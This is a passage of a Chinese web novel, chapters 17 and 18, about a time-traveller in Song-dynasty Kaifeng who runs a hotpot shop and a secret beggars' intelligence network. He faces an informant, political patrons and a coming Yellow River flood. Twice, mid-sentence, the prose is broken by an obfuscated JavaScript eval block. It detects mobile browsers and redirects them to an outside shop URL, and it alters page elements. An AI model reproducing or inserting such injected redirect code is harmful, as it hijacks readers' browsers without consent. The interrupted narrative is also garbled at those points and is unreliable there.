明天,又是新的一天。 17. 第十七章 暗号 大中祥符五年的七月,东京城热得像蒸笼。 甜水巷的青石板路被太阳晒得发烫,赤脚踩上去能烫出水泡。老孙头的豆腐摊改成了只做上午的生意,下午太热,豆腐放不住。他每天收摊的时候都会朝火锅店喊一嗓子:“萧子翼,你这火锅店夏天还开着,不怕亏死?” 萧北翊站在门口,摇着蒲扇:“孙叔,我这叫‘淡季深耕,旺季收割’。” “说人话!” “就是趁着生意淡,把店里的东西拾掇拾掇,等天冷了再使劲赚。” 老孙头哼了一声,推着豆腐车走了。他听不懂萧北翊说的那些怪词,但他知道这小子从来不干赔本的事。 萧北翊转身回了店里,拿起柜台上的一个竹筒。竹筒里装的是阿九每天早上放在这里的“消息条”——不是纸条,是一根打了结的麻绳。 这是萧北翊想了很久才定下来的法子。 赤羽的人绝大多数不识字。赵大锤认识十几个字,刘二认识二十几个,孙驼子一个大字不识。阿九和钱串子是仅有的两个能读会写的人。指望这群人用书面文字传递情报,等于让鸭子爬树。 萧北翊的办法很简单——用麻绳打结。 不同的结代表不同的意思。一个结表示“安全”,两个结表示“有事”,三个结表示“紧急”。结打在绳头表示“城东”,打在绳尾表示“城西”,打在中间表示“城中”。绳子的颜色也有讲究——黑色代表“官府”,红色代表“商贾”,白色代表“江湖”。 这套“绳结暗号”,是萧北翊从现代“结绳记事”的灵感里翻出来的。原始人都会的东西,北宋的乞丐不可能学不会。阿九只用了半天就掌握了全部规则,又花了一天教给各个片区的负责人。负责人们再往下教,一层一层,不到一周,赤羽的所有人都学会了。 赵大锤学会之后,感慨了一句:“萧哥,这比写字简单多了。写字我记不住,打结我一学就会。” 萧北翊心想:这不废话吗?结绳记事是人类用了上万年的通讯方式,比你那破铁匠铺的历史都长。 今天竹筒里的麻绳是黑色的,打了两个结,结在绳头。意思是:城东,官府那边有事。 萧北翊把麻绳放回竹筒,走出后门,朝城东方向去了。 城东的马行街,刘二在一个不起眼的茶摊上等着他。 茶摊是赤羽的一个消息点,摆摊的老头姓吴,是孙驼子介绍来的,以前在军营里当过伙夫,腿瘸了之后就在马行街卖茶。吴老头不识字,也不会打结,他只知道一件事——每天把听到的、看到的事,在固定的时间告诉刘二。至于这些事有什么用,他不管,也不问。 “子翼,出事了。”刘二压低声音,“开封府的人在查我们。” 萧北翊端起茶碗,喝了一口,不动声色:“查到了什么程度?” “目前只查到城东的几个线人。但他们查的方向很准——直接冲着赤羽的消息网络来的,不是瞎猫碰死耗子。我怀疑,有人在背后指路。” 萧北翊的手指在桌上轻轻敲着。开封府,东京城的衙门,管着百万人口的治安、刑狱、诉讼。开封府的人查赤羽,说明赤羽已经进入了官府的视线。但赤羽做事一向小心,消息传递用的是绳结暗号,人员分散,不留痕迹——开封府的人是怎么查到线索的? 除非,赤羽内部出了问题。 “刘二哥,最近有没有人行为反常?” 刘二想了想:“有一个人。城东的王三,以前挺勤快的,最近半个月总找借口不来碰头。问他什么,支支吾吾的。” 萧北翊的眼睛眯了起来。王三,他记得这个人,是赤羽最早的一批成员之一,在城东收消息,平时话不多,但做事靠谱。半个月前忽然反常,这不太正常。 “盯住他。不要打草惊蛇,看他跟谁接触。” 刘二点头,起身走了。 下午,萧北翊回到葫芦巷,把阿九叫到东厢房。 他把开封府查赤羽的事说了一遍,阿九的眉头皱了起来。 “萧哥,会不会是王钦若?” “不像。”萧北翊摇头,“王钦若要用赤羽,不会在这个时候查我们。他要是想查,早就查了,不用等到现在。” “那是谁?丁谓?赵衍?” “赵衍不会。丁谓有可能,但也不像。丁谓查我们,应该会通过他的人,不会动用开封府。开封府是朝廷的衙门,动用开封府的人,动静太大,容易打草惊蛇。” 阿九想了想:“那会不会是——程无咎?” 萧北翊的心里咯噔了一下。程无咎,枢密使,二十年前萧家灭门案的幕后主使。这个名字,他从来没有在赤羽的会议上提过,但阿九从之前他让她打听“程家”的事时就已经猜到了几分。 “为什么猜是他?”萧北翊问。 “因为程无咎是枢密使,管着全国的军事情报。赤羽在东京城布消息网,他不可能不知道。他不知道赤羽是谁的,但一定想知道。” 萧北翊沉默了。阿九说得有道理。程无咎是管情报的,东京城出现一个民间的情报网络,他不可能视而不见。查赤羽,是他的职责,也是他的本能。 “不管是哪边的,我们都要做好准备。”萧北翊站起来,走到窗前,“从今天起,赤羽的所有消息点,全部换成新的接头方式。绳结暗号的规则也要换。原来一个结是‘安全’,改成两个结是‘安全’。原来的颜色规则也全部打乱。” 阿九愣了一下:“萧哥,全部换?那弟兄们刚学会没多久——” “所以才要换。”萧北翊回过头,“换得越频繁,外人越摸不清我们的路数。弟兄们学不会,就多教几遍。一个月换一次,每次换之前,先教后执行。” 阿九点了点头。她知道萧北翊说的有道理,但也知道这意味着巨大的工作量。五十多个人,分散在五个片区,每个人都要重新学一套暗号规则,光靠她和几个负责人,至少要十天。 “萧哥,能不能只换核心层的暗号?普通线人继续用旧的?” 萧北翊想了想,摇头:“不行。开封府的人已经查到了城东的线人,说明旧的暗号可能已经被破解了。如果不全换,等于给人家留后门。” 阿九深吸一口气:“好。我明天就开始教。” 七月初五,萧北翊去了一趟赵府。 赵衍在书房里见他,这次没有茶,只有一壶凉白开。赵衍穿着一件薄纱衫,手里拿着一把折扇,看起来比平时随意了很多。 “子翼,你来得正好。”赵衍合上折扇,指了指对面的椅子,“我正想找你。” 萧北翊坐下:“赵大哥有什么吩咐?” “不是吩咐,是提醒。”赵衍端起水杯喝了一口,“最近有人在查你。” 萧北翊心里一紧,但脸上不动声色:“谁?” “开封府的一个推官,姓马。这个人不是王钦若的人,也不是我的人。”赵衍看着他,“你最近是不是得罪了什么人?” 萧北翊想了想,摇头:“没有。我一个小商人,能得罪谁?” “那就奇怪了。”赵衍的眉头皱了起来,“马推官查你,一定是有人在背后指使。你仔细想想,最近有没有做过什么可能惹到人的事?” 萧北翊把这些天做的事在脑子里过了一遍。火锅店、消息买卖、囤粮、存药、布匹贸易——这些事,都是正经生意。唯一可能惹麻烦的,是替王钦若查那些官员的底细。但那些事做得极隐蔽,连王钦若都是通过周德茂跟他单线联系,外人不可能知道。 除非——王钦若那边有人泄密。 “赵大哥,有没有可能是丁谓?” 赵衍愣了一下:“丁谓?你跟他有交集?” “没有直接交集。但他是王钦若的盟友,也是对手。王钦若最近在朝中弹劾了好几个政敌的亲信,用的都是赤羽提供的消息。丁谓不可能不知道。他要是想查赤羽的底,合情合理。” 赵衍点了点头:“有道理。那你打算怎么办?” 萧北翊想了想,说了一句让赵衍意外的话。 “什么都不做。” “什么都不做?” “对。”萧北翊说,“赤羽的底,经得起查。火锅店是正经生意,消息买卖没有留下痕迹,囤粮是个人行为,不违法。丁谓的人查到的,只会是一个‘头脑灵活的火锅店老板’在东京城做点小买卖。这样的结果,既不会让王钦若失望,也不会让丁谓起疑。” 赵衍盯着他看了一会儿,然后笑了。 “子翼,你这个人,比我想的还要稳。” 从赵府出来,萧北翊没有直接回葫芦巷,而是在城里绕了一大圈。 他一边走一边想,丁谓查赤羽的事,会不会是一个信号?一个更大的棋局的信号? 王钦若和丁谓,两个权臣,表面上是盟友,背地里互相提防。王钦若用了赤羽的消息网络,丁谓一定会想——这把刀,是只替王钦若干活,还是也能为我所用? 如果萧北翊能让丁谓觉得,赤羽是一把“谁用都行”的刀,那赤羽就能在王钦若和丁谓之间游走,左右逢源。但这也意味着巨大的风险——两边都不得罪的结果,往往是两边都得罪。 萧北翊想到了一句话:在刀尖上跳舞。 他现在就是在刀尖上跳舞。跳得好,两边都捧你。跳不好,两边都踩你。 但他不怕。他有赤羽,有脑子,有赵衍这个暗中的盟友。更重要的是,他知道历史的走向——王钦若和丁谓,迟早会倒台。而他要做的,是在他们倒台之前,从他们的手里借到足够的力量,壮大自己。 萧北翊走到甜水巷口,停下脚步,抬头看了看南北火锅的招牌。 招牌上的金字在阳光下闪闪发光。 他推开门,走了进去。 七月中旬,赤羽的消息网络发生了一件大事——阿九抓到了一个“内鬼”。 事情是这样的。城西的一个线人,绰号“赖子”,负责在孙家瓦舍附近收集消息,最近忽然开始汇报一些不痛不痒的八卦,真正有价值的信息一句都没有。阿九觉得不对劲,让孙驼子暗中跟踪了赖子几天,发现他每次从孙家瓦舍出来,都会拐到一条小巷子里,跟一个陌生男人碰头。 陌生男人给他银子,他给陌生男人说赤羽的事。说的内容不多,但足以让开封府的人查到赤羽的线人分布。 阿九没有打草惊蛇,而是把赖子以前汇报的所有消息重新梳理了一遍,发现他已经出卖赤羽的信息至少半个月了。城东的线人被盯上,就是赖子泄露的。 “萧哥,这个人怎么处理?”阿九站在萧北翊面前,眼睛里有怒火。 萧北翊沉默了一会儿,然后说:“让他走。” “让他走?”阿九不敢相信自己的耳朵,“萧哥,他出卖了赤羽!” “我知道。”萧北翊的语气很平静,“但他是被人收买的,不是主动要背叛赤羽。收买他的人,我们还没查到。如果现在处理他,收买他的人就会知道赤羽发现了,下一次会用更隐蔽的方式。” 阿九明白了:“萧哥,你是想——放长线钓大鱼?” “对。让他继续出卖赤羽的消息,但我们要控制他出卖的内容。该让他说的说,不该让他说的一个字都不能漏。同时,通过他,查到他背后的人。” 阿九点了点头,转身出去了。 萧北翊站在窗前,看着院子里的柿子树。柿子已经长到了鸡蛋大小,青色的,还没熟。赤羽现在的情况,就像这棵柿子树——看起来果实累累,但还没到收获的时候。任何一个疏忽,都可能让这些青柿子提前掉下来,烂在地里。 他深吸一口气,把脑子里那些乱七八糟的念头压了下去。 稳。一定要稳。 七月下旬,萧北翊收到了一份让他意外的情报。 周德茂来火锅店送信,信是王钦若写的。信上只有一行字:“下月初三,老夫在府上设宴,请萧老板务必光临。” 萧北翊把信看了两遍,收进了袖子里。 王钦若请客,不是第一次了。但这一次的措辞比上一次更客气——“请萧老板务必光临”,这不是对一个“办事的”说话的语气,更像是对一个“合作伙伴”说话的语气。 这说明王钦若对赤羽的重视程度又上了一个台阶。 萧北翊把这件事告诉了阿九和刘二。刘二的反应是:“子翼,你小心点。王钦若这个人,对谁客气,谁就该倒霉了。” 阿九的反应是:“萧哥,你要不要去?” “去。为什么不去?”萧北翊笑了笑,“人家请吃饭,不去不给面子。” 八月初三,萧北翊准时出现在王钦若的府邸前。 这次他穿了一件新做的月白色直裰,布料是中等货色,不招摇但体面。头发用木簪束起来,木簪是自己在街上买的,五文钱一根,朴素得很。 王钦若这次没有在水榭里设宴,而是在正堂。正堂比水榭正式得多,说明今天要谈的事,比上次更重要。 正堂里摆了一桌酒菜,王钦若坐在主位上,旁边还坐着一个人——四十来岁,方脸膛,浓眉,嘴唇上留着一撇短须,穿着一件深蓝色的锦袍,气度不凡。 萧北翊心里一动。这个人,他在赵衍的书房里见过画像——丁谓。 “萧老板,来,坐。”王钦若笑眯眯地指了指旁边的座位,“老夫给你介绍一个人。这位是丁谓丁参政,老夫的同僚。” 萧北翊躬身行礼:“草民萧北翊,拜见丁参政。” 丁谓上下打量了他一眼,嘴角微微上扬,看不出是笑还是别的什么表情。 “你就是萧子翼?王相公常提起你。说你是个有本事的人。” “王相公谬赞。草民不过是开了个火锅店,谈不上本事。” 丁谓笑了,这次是真的笑。 “火锅店?萧老板,你太谦虚了。一个火锅店,能查到朝中大臣的底细?” 萧北翊心里一凛,但脸上不动声色。 “丁参政说笑了。草民一个小商人,哪有那个本事。” 王钦若在旁边打了个哈哈:“丁参政,你别吓唬萧老板。他胆子小,经不起吓。” 丁谓看了王钦若一眼,没再说什么。 萧北翊坐下,端起酒杯,敬了王钦若和丁谓一杯。酒是好酒,但他喝得很慢。他在观察丁谓——这个人说话直接,不拐弯抹角,跟王钦若的老谋深算完全不同。但直接不等于简单。能在朝堂上混到这个位置的人,没有一个简单的。 饭吃到一半,王钦若放下筷子,看着萧北翊。 “萧老板,老夫今天请你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650307|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,是想问你一件事。” “王相公请讲。” “你上次给老夫的那份名单,很详细,很有用。但老夫想知道——这些信息,你是从哪里得来的?” 萧北翊早就料到他会问这个问题。 “王相公,草民是个商人。商人的规矩是——只卖货,不问货从哪里来。您买的是消息,不是消息的来路。” 王钦若盯着他看了一会儿,然后笑了。 “好一个‘只卖货,不问货从哪里来’。萧老板,你这个人,嘴很严。这是好事。” 丁谓在旁边插了一句:“王相公,你找了一个好帮手。但帮手太严了,有时候也不是好事。” 萧北翊转向丁谓:“丁参政,草民嘴严,是因为草民知道什么该说,什么不该说。该说的,不用问也会说。不该说的,问了也不会说。” 丁谓的眼睛眯了一下。 “那你觉得,什么是该说的?” 萧北翊想了想,说了一句让两位权臣都意外的话。 “该说的,是对你们有用的。不该说的,是对你们没用的。草民只做有用的事,不做没用的事。” 王钦若和丁谓对视了一眼,都没有说话。 萧北翊端起酒杯,又敬了两人一杯。 从王钦若府上出来,天已经黑了。 萧北翊走在城中的街道上,心跳比平时快了几分。今天这顿饭,表面上是王钦若请客,实际上是一次“面试”——丁谓在考察他,看看这个被王钦若重用的人,值不值得丁谓也关注。 萧北翊觉得自己表现得还算可以。不卑不亢,不谄媚,不隐瞒,也不全盘托出。既让丁谓看到了他的价值,又没有让丁谓觉得他太有心机。 但有一件事让他不安——丁谓提到了赤羽的消息网。这说明丁谓已经知道赤羽在做消息买卖了。一个能在东京城布下消息网的人,不可能只是一个火锅店老板。丁谓今天没有追问,不代表他不会自己去查。 萧北翊深吸一口气,加快了脚步。 他需要回去跟阿九商量,怎么应对丁谓这条线。 回到葫芦巷,萧北翊把阿九、刘二、钱串子叫到东厢房,把今天的事说了一遍。 刘二听完,脸色凝重:“子翼,丁谓知道赤羽在做消息买卖了。这是不是意味着,丁谓已经查到了更多?” 萧北翊摇头:“不一定。他知道赤羽在做消息买卖,但不一定知道赤羽的规模。能查到这一步,说明丁谓在东京城的眼线不少。但再往下查,就需要更多时间和资源了。” 钱串子推了推眼镜:“萧哥,那我们怎么办?” “继续做我们的事。”萧北翊说,“但要更小心。从今天起,所有的消息传递都要换新暗号。绳结的规则再改一次,颜色和结数全部打乱。” 阿九问:“改成什么样?” 萧北翊想了想,从袖子里摸出一根麻绳,当场打结示范。 “以后一个结代表‘危险’,两个结代表‘安全’。黑色代表‘江湖’,红色代表‘官府’,白色代表‘商贾’。跟上次的规则完全反过来。旧规则全部作废,任何人不得再用。” 阿九接过麻绳,看了看,点了点头。 “萧哥,我明天就教。” 八月中旬,赤羽的第三次“暗号大换血”完成了。 五十多个人,五个片区,从城东到城西,从城南到城北,全部用上了新的绳结暗号。旧的麻绳全部烧掉,新的麻绳统一发放,每人三根,用完了找片区负责人领。 赵大锤学会了新暗号之后,感慨了一句:“萧哥,这比打仗还累。打仗一年打一次,换暗号一个月换一次。” 萧北翊拍了拍他的肩膀:“大锤,这就是打仗。不是跟人打,是跟官府打。谁先露出破绽,谁就输。” 赵大锤似懂非懂地点了点头。 八月下旬,刘二从两浙路发回了消息——不是用绳子,是让人口头传回来的。 传话的人是个船工,姓张,四十来岁,常年在汴河上跑船,是刘二在杭州认识的。张船工不识字,也不懂暗号,他只知道一件事——把刘二的话原封不动地告诉萧北翊。 “刘二哥说,杭州、苏州、湖州三地的粮食价格开始涨了。不是暴涨,是慢慢涨。一斗米从四十文涨到了四十五文,面粉也涨了。”张船工蹲在火锅店的后院里,一边啃着萧北翊给的馒头一边说。 萧北翊问:“刘二哥还说了什么?” “他说,有人在那些地方大量收粮。手法跟东京城的一样,分散收购,不引人注意。他怀疑是同一个人在操作。” 萧北翊点了点头,让阿九给了张船工二两银子的辛苦钱。张船工千恩万谢地走了。 粮价上涨,说明市场上的粮食供应开始紧张了。按照历史记载,大中祥符五年的秋天黄河要决口,六年的春天要大旱。现在才八月,粮价就开始涨了,说明有些人已经提前得到了消息,开始囤粮了。 萧北翊让阿九给刘二传话——不是写信,是让人口头带话。传话的人是孙驼子手下的一个老乞丐,姓周,以前在汴河上讨过饭,认识不少船工。周老丐不识字,但记性好,把萧北翊的话一字不差地记住了。 “让刘二哥加快收购速度,赶在粮价暴涨之前,把赤羽的存粮从九百石增加到一千二百石。” 周老丐点了点头,揣着萧北翊给的干粮,出了城,沿着汴河往东去了。 九月,东京城入秋了。 甜水巷的槐树开始落叶,金黄色的叶子铺了一地。老孙头的豆腐摊重新开始做全天生意,因为天凉了,豆腐能放住了。火锅店的生意也开始回暖,每天中午和晚上都坐满了人。 萧北翊站在火锅店门口,看着巷子里来来往往的行人。 赤羽在东京城已经站稳了脚跟。明面上有火锅店,暗地里有消息网络,账上有银子,仓里有粮食,手底下有五六十号人。王钦若把他当刀用,赵衍把他当盟友看,丁谓也在暗中关注他。三叔搬进了葫芦巷,阿九独当一面,刘二在汴河沿线跑来跑去,钱串子的账记得越来越好了。 一切都在按照计划推进。 但萧北翊知道,真正的挑战还在后面。黄河就要决口了,饥荒要来了,瘟疫要来了。到时候,东京城会乱成一锅粥。赤羽能不能在这些危机中活下来,甚至借势壮大,就看接下来的几个月了。 萧北翊深吸一口气,转身回了店里。 “大锤,晚上加个菜。今天高兴。” “萧哥,什么事这么高兴?” “没什么。就是觉得,活着真好。” 赵大锤挠挠头,没听懂,但还是去加菜了。 萧北翊坐在柜台后面,拿起那本只有他自己能看懂的账册——账册上写的不是字,是他的“鬼画符”。每个符号代表一个字,是他自己编的,连阿九都看不懂。 他在空白页上画了一行符号。 这些符号翻译过来是:“赤羽第十个月:存粮一千二百石,存银二百八十两,人员五十八人。暗号已换三次。王钦若已入局。丁谓在观望。内鬼赖子在监控中。下一步:等黄河。” 他合上账册,靠在椅背上,闭上眼睛。 窗外的秋风吹进来,带着槐树叶子的清香。 新的棋局,已经开始了。 18. 第十八章 风声 大中祥符五年的九月,东京城入秋后凉爽了没几天,又热了回去。老人们管这叫“秋老虎”,说这天气能把人咬下一层皮。 甜水巷的槐树叶子黄了一半,落了一半,剩下的在枝头蔫蔫地挂着,像是在等一场雨。雨没等来,等来了开封府的几个差役。 那天下午,萧北翊正在火锅店后厨调底料,赵大锤慌慌张张地跑进来。 “萧哥!外面来了几个公人,说是开封府的,要找你!” 萧北翊手里的勺子顿了一下,然后继续搅动锅里的汤。 “让他们进来。客气点。” 赵大锤出去了,不一会儿领进来三个穿皂衣的差役。领头的是个三十来岁的汉子,方脸,浓眉,腰间挎着一把刀,看起来不太好惹。 “你就是萧北翊?”领头的差役上下打量着萧北翊。 “正是。几位官爷辛苦了,快请坐。”萧北翊擦了擦手,笑眯眯地招呼他们坐下,又让阿九去泡茶,“大锤,切一盘卤肉上来,给几位官爷下酒。” 领头的差役摆了摆手:“不用了。我们来,是想问你几件事。” 萧北翊在他对面坐下,腰背挺直,不卑不亢。 “官爷请讲。” “你这火锅店,开了多久了?” “快一年了。” “生意怎么样?” “托官爷的福,还过得去。” 领头的差役盯着他看了一会儿,目光里带着审视。 “有人举报,说你店里藏匿逃犯。我们要查一查。” 萧北翊心里咯噔了一下,但脸上依然笑眯眯的。 “官爷说笑了。小店做的是正经生意,来的都是街坊邻居,哪来的逃犯?几位官爷随便查,查到了算我的。” 领头的差役站起来,在店里转了一圈,又去后厨看了看,最后去了后院。后院只有一口水缸、一堆柴火和几口倒扣的大缸,什么都没有。地窖的入口在柴堆下面,被赵大锤用稻草盖得严严实实,不仔细看根本发现不了。 差役转了一圈,什么也没找到,又回到大堂。 “你店里的人,都是哪里的?” 萧北翊知道这是例行盘问,早就准备好了说辞。 “都是附近的人。有的是我收留的乞丐,有的是从外地来讨生活的。官爷也知道,开饭馆的,人手不够用,什么人都得用。” 领头的差役点了点头,没有再问。 “打扰了。” 他带着两个手下走了。走到门口的时候,忽然回头看了萧北翊一眼。 “萧老板,你这个人,不简单。” 萧北翊笑着拱了拱手:“官爷慢走。” 差役走远后,赵大锤凑过来,压低声音:“萧哥,他们是不是冲着赤羽来的?” “不一定。”萧北翊摇头,“也可能是例行巡查。开封府每年秋天都会查一遍城里的商铺,查的是有没有藏匿逃犯、有没有违禁物品。咱们的店是正经生意,不怕查。” “那地窖——” “地窖封死了,他们没看到。就算看到了,存粮食又不犯法。” 赵大锤松了口气,但还是不放心:“萧哥,你说那个领头的说什么‘你不简单’,他是不是看出什么了?” 萧北翊想了想:“他要是真看出了什么,就不会走了。他说那句话,可能是随口一说,也可能是在试探。不管怎么样,从今天起,大家更小心一点。” 开封府差役来查的事,萧北翊当天晚上就跟阿九说了。 阿九的反应很平静:“萧哥,这是迟早的事。咱们在东京城布了这么大的网,官府不可能一直不知道。关键是——他们查到了什么程度。” “目前只是例行巡查。”萧北翊说,“但他们既然来了第一次,就会来第二次。我们需要做好应对。” “怎么应对?” 萧北翊想了想,说了三条。 “第一,火锅店的账目要做得更干净。每一笔收入和支出都要有据可查,不能让人挑出毛病。第二,赤羽的人,没有正当身份的,尽快安排到火锅店或者茶行挂名。第三,地窖里的东西,能转移的转移,不能转移的藏好。” 阿九点头,把这三条记在了心里。 九月中旬,萧北翊收到了一条让他警觉的消息。 消息是通过绳结暗号传过来的——一根红绳,打了两个结,结在绳尾。意思是:城中,商贾,有事。 传消息的人是钱串子。他在城中经营消息网络,同时负责赤羽跟周德茂的联络。钱串子说,周德茂最近半个月跟一个陌生人见了三次面,每次都在不同的地方,行踪诡秘。 萧北翊把钱串子叫到东厢房,详细问了情况。 “那人长什么样?”萧北翊问。 “四十来岁,瘦高个,穿灰色袍子,说话带四川口音。”钱串子推了推眼镜,“周德茂对他很客气,不像是对普通朋友的态度。” 四川口音。又是四川。 萧北翊的手指在桌上轻轻敲着。之前在东京城和两浙路收粮的神秘买家,据说也是从四川来的。现在周德茂又跟一个四川人频繁接触——这两件事,会不会是有关联的? “钱串子,继续盯着。不要惊动周德茂,但要查清楚那个四川人的身份。” 钱串子点头,转身去了。 九月二十,萧北翊去了一趟赵府。 赵衍在后花园的亭子里等他,面前摆着一壶茶、两碟点心。天气凉了,亭子四周挂了竹帘挡风。 “子翼,你来得正好。”赵衍给他倒了一杯茶,“我正想找你。” 萧北翊坐下:“赵大哥,什么事?” “两件事。”赵衍竖起两根手指,“第一,开封府查你的事,我听说了。领头的那个差役姓马,是马推官的手下。马推官是丁谓的人。” 萧北翊点了点头。这跟他猜的差不多。 “第二,”赵衍放下茶杯,“最近有人在黄河沿线大量收购粮食,从陕州到郑州,从郑州到滑州,一路都在收。手法很隐蔽,但瞒不过我。” 萧北翊的心跳加快了一瞬。黄河沿线收粮——这正是他一直在关注的事。按照历史记载,大中祥符五年秋天,黄河在滑州决口。决口之前,如果有人提前知道了消息,在沿线囤粮,等决口后饥荒爆发,粮价飞涨,这些人就能赚得盆满钵满。 “赵大哥,查到是谁在收粮了吗?” 赵衍摇头:“查到了几个中间人,但背后的人藏得很深。我只知道,收粮的资金来自四川。” 又是四川。 萧北翊的眉头皱了起来。四川的神秘买家在东京城收粮,在两浙路收粮,现在又在黄河沿线收粮。这不是一个人在操作,而是一个组织——一个财力雄厚、消息灵通、布局严密的组织。 “赵大哥,您觉得,这个组织的目的只是为了赚钱?” 赵衍看了他一眼,目光深邃。 “如果只是为了赚钱,不需要这么隐蔽。他们这么小心,说明他们在做的事,见不得光。或者说,他们不想让人知道他们是谁。” 萧北翊沉默了一会儿。 “赵大哥,您有没有想过——如果有人提前知道黄河要决口,提前在沿线囤粮,等决口之后粮价飞涨,他们能赚多少?” 赵衍的瞳孔微微缩了一下。 “你是说——有人提前知道了朝廷的河道勘测结果?” “不是朝廷的。”萧北翊说,“也许,是有人自己会看天象、察水文,预测到了黄河可能要出事。” 赵衍盯着他看了一会儿,然后摇了摇头。 “子翼,你这个人,想法总是比别人多。但你说的,不是没有可能。我会让人继续查。” 从赵府出来,萧北翊没有回葫芦巷,而是在城里漫无目的地走着。 赵衍的话,让他意识到一个问题——有人在下一盘大棋。这盘棋的规模,比赤羽现在的布局大得多。从东京城到两浙路,从两浙路到黄河沿线,从黄河沿线到四川——这个组织的触角,已经伸到了半个北宋。 萧北翊想到了一个词:“资本”。用现代的话说,这是一个跨区域的商业资本集团。他们利用信息差,在各地低价收购粮食,囤积居奇,等待时机高价卖出。而他们最大的信息优势,就是提前知道了黄河可能决口。 但问题来了——他们是怎么提前知道的? 北宋时期,黄河水情的监测主要靠地方官府和河防官员。普通人没有渠道获取这些信息,除非——他们有内应。在工部、在都水监、在沿河的州县衙门里,有他们的人。 萧北翊深吸一口气,把这些念头暂时压了下去。 现在最重要的,不是查这个组织的底,而是——赤羽自己的存粮够不够。 他加快脚步,朝甜水巷走去。 九月下旬,刘二从两浙路回来了。 他带回了一千二百石粮食——比萧北翊要求的还多了三百石。粮食存放在汴河沿线的三个中转站里,每个站四百石,分散储存,不怕被一锅端。 “萧哥,粮价涨得厉害。”刘二坐在东厢房里,脸上带着疲惫,“杭州那边,一斗米已经涨到五十五文了。我要是再晚半个月,这三百石要多花五十两银子。” 萧北翊给他倒了一碗茶:“辛苦了。休息几天,然后去一趟郑州和滑州。” 刘二一愣:“去那儿干嘛?” “去看看黄河。顺便,在那边也存点粮。” 刘二不解:“黄河边存粮?那儿又没人。” “马上就会有人了。”萧北翊没有多解释。 刘二虽然不明白,但还是点了头。他已经习惯了萧北翊做一些看似莫名其妙的事。 十月,东京城彻底凉了下来。 甜水巷的槐树落光了叶子,光秃秃的枝丫伸向天空,像一双双枯瘦的手。老孙头的豆腐摊上挂了一层棉帘子,挡风。火锅店的生意火了起来,每天从中午到晚上,客人不断。 萧北翊在店里忙得脚不沾地,但还是每天抽出一个时辰,看阿九汇总的消息简报。简报不用纸写了,改用口头汇报——阿九每天傍晚来东厢房,把当天的重要消息一件一件地说给萧北翊听。萧北翊听完,该记的记在脑子里,该安排的安排下去。 “萧哥,今天有三条重要消息。”阿九坐在他对面,手里没有纸,全靠脑子记。 “说。” “第一条,开封府的马推官最近又查了几个城西的商铺,但没有再来查我们。可能上次真的是例行巡查。” “第二条,王钦若让周德茂来问,上次那份名单的补充信息什么时候能到。我说半个月。” “第三条,”阿九顿了顿,“南姑娘最近在葫芦巷附近出现得越来越频繁。不是监视,更像是——在等人。” 萧北翊的手指顿了一下。 “等人?等谁?” “不知道。但孙驼子说,她每次来,都在巷口站一会儿,然后就走了。不进院子,不找人说话,就是站着。” 萧北翊沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650308|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默了一会儿。 “继续盯着。不要惊动她。” 阿九点头,起身走了。 萧北翊一个人坐在东厢房里,看着窗外的月亮。十月的月亮很亮,照得院子里的柿子树像镀了一层银。 南晚枫在等他? 不对。她那种人,不会等人。她要么直接进来,要么永远不会来。站在巷口等人,不是她的风格。 除非——她不是等人,是在替别人看着这条巷子。替赵衍。或者,替别的什么人。 萧北翊把这个问题暂时放在一边,拿出那个只有自己能看懂的账册,在空白页上画了一行符号。 翻译过来是:“赤羽第十一个月:存粮一千五百石,存银三百两,人员六十二人。黄河沿线开始布局。四川神秘买家仍在追查。南晚枫行踪异常。下一步:等决口。” 他合上账册,吹灭了油灯。 十月初十,萧北翊收到了一份来自郑州的消息。 传消息的是个货郎,姓郑,五十来岁,常年在东京城和郑州之间跑买卖。郑货郎不是赤羽的人,但他跟孙驼子认识,愿意帮忙带话。他告诉萧北翊:黄河水位最近涨得很厉害,滑州段的堤坝有好几处渗水,河防官员正在组织加固。 萧北翊听到这个消息,心里沉了一下。 按照历史记载,大中祥符五年的黄河决口,就在滑州。现在堤坝已经开始渗水了,说明决口不远了。 “郑大哥,谢谢你。”萧北翊从袖子里摸出一块碎银子,塞给郑货郎,“以后有什么消息,还麻烦您带话。” 郑货郎接过银子,笑眯眯地走了。 萧北翊站在火锅店门口,看着远处的天空。天很蓝,万里无云,完全看不出要大难临头的样子。但他知道,灾难不会写在脸上。它会在你最想不到的时候,突然降临。 他转身回了店里,把阿九叫到后厨。 “阿九,从今天起,赤羽的所有人都要做好准备。” “什么准备?” “随时应对乱局的准备。”萧北翊压低声音,“黄河可能要决口了。一旦决口,东京城会涌入大量灾民。到时候,粮价暴涨,治安混乱,瘟疫横行。赤羽要做的事有三件——救人、囤粮、扩人。” 阿九的脸色变了一下,但没有多问。 “萧哥,你说怎么做,我们就怎么做。” 十月中旬,萧北翊做了一件让所有人都看不懂的事——他在城南的仓库里存了一大批粗布和旧衣裳。 赵大锤问他:“萧哥,你存这些破烂干嘛?” 萧北翊说:“救人。” 赵大锤又没听懂,但也没再问。 萧北翊没有解释。他不能解释——总不能说“等黄河决口了,灾民涌进东京城,很多人没衣服穿,到时候这些布和衣裳能救不少人的命”吧? 有些事,提前说了没人信。等到事情发生了,大家才会明白。 萧北翊愿意做那个“提前准备”的人。不是为了被人感谢,而是因为他知道——在这个时代,任何一点提前的准备,都可能意味着一条命。 